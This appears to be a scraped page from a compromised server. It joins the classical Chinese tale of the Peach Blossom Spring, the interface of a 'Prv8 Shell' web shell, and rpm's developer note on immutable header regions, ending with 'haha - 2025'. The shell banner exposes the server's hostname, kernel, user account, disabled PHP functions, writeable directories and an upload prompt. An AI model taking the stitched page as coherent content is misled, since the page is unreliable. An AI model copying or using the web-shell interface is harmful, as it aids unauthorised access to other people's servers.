晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/rpm/hregions
/*! \page hregions Immutable header regions in rpm-4.0.1 and later

The header data structure has changed in rpm-4.0.[12] to preserve the
original header from a package. The goal is to keep the original
header intact so that metadata can be verified separately from the
payload by the RHN up2date client and by the rpm command line verify
mode using signatures saved in the rpm database. I believe the change
is entirely forward and backward compatible, and will not require
any artifacts like changing the version number of packaging or 
adding an "rpmlib(...)" tracking dependency. We'll see ...

Here's a short description of the change. An rpm header has three sections:
\verbatim
	1) intro		(# entries in index, # bytes of data)
	2) index		16 byte entries, one per tag, big endian
	3) data			tag values, properly aligned, big endian
\endverbatim

Representing sections in the header (ignoring the intro) with
\verbatim
	A,B,C			index entries sorted by tag number
	a,b,c			variable length entry data
	| 			boundary between index/data
\endverbatim
a header with 3 tag/value pairs (A,a) can be represented something like
\verbatim
	ABC|abc
\endverbatim

The change is to introduce a new tag that keeps track of a contiguous
region (i.e. the original header). Representing the boundaries with
square/angle brackets, an "immutable region" in the header thus becomes
\verbatim
	[ABC|abc]
\endverbatim
or more generally (spaces added for clarity)
\verbatim
	[ABC> QRS | <abc] qrs
\endverbatim
or with concatenated regions (not implemented yet)
\verbatim
	[ABC> [DEF> QRS | <abc] <def] qrs
\endverbatim
or with nested regions (not implemented yet)
\verbatim
	[ABC [DEF>> QRS | <<abc] def] qrs
\endverbatim

\todo Either concatenated/nested regions may be used to implement
a metarpm, aka a package of packages, dunno how, when, or even if, yet.

What complicates the above is legacy issues, as various versions of rpm
have added/deleted/modified entries in the header freely. Thus, representing
altered tag entries/data with a '.', there is a need to preserve deleted
information something like

\verbatim
	[A.C> QRS XYZ | <a.c] qrs xyz
\endverbatim

\note This is basically the change that replaces the filename with
	a {dirname,basename,dirindex} triple between rpm-3.x and rpm-4.x.

or

\verbatim
	[AB.> QRS D | <ab.] qrs d
\endverbatim

\note The header is no longer sorted because of replacing Cc with Dd.

and yet permit retrieval of the original

\verbatim
	[ABC|abc]
\endverbatim

region. PITA, really.

What made header regions trickier yet is the desire to have an implementation
that is both backward and forward compatible. I won't bore you with the
tedious details.

However, even after doing regressions against supported Red Hat releases,
there's a Great Big Universe of rpm packages out there, and I'm *very*
interested in hearing (as bug reports against rpm at http://bugzilla.redhat.com)
about any and all problems with header regions in rpm-4.0.1.

*/

haha - 2025